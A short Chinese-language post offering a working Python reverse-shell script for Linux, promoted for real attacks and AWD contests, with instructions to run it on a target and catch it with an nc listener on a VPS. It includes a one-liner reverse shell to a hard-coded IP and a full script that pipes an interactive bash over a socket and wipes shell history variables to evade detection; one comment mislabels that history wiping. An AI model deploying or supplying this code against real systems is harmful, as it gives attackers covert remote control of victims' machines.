linux的反弹shell脚本,实战,awd都可使用,代码来自原Google安全团队,在目标机运行下面python代码,nohup python shell.py (your ip) (your port) & 在vps进行监听,nc -lvp 5555
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
"""
import sys,os,socket,pty
shell = "/bin/bash"
def usage(name):
print ('python reverse connector')
print ('usage: %s <ip_addr> <port>' % name) #使用 输入ip地址 端口
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit() #如果shell输入不是ip 端口 输出当前路径<ip_addr> <port> 正常退出
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建TCP Socket
try:
s.connect((sys.argv[1],int(sys.argv[2]))) # 连接到指定ip地址,端口处的套接字
print ('connect ok') #不报错输出connect ok
except:
print ('connect failed') #出错输出connect failed
sys.exit()
os.dup2(s.fileno(),0) #os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE") #环境变量的设置语法高亮
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()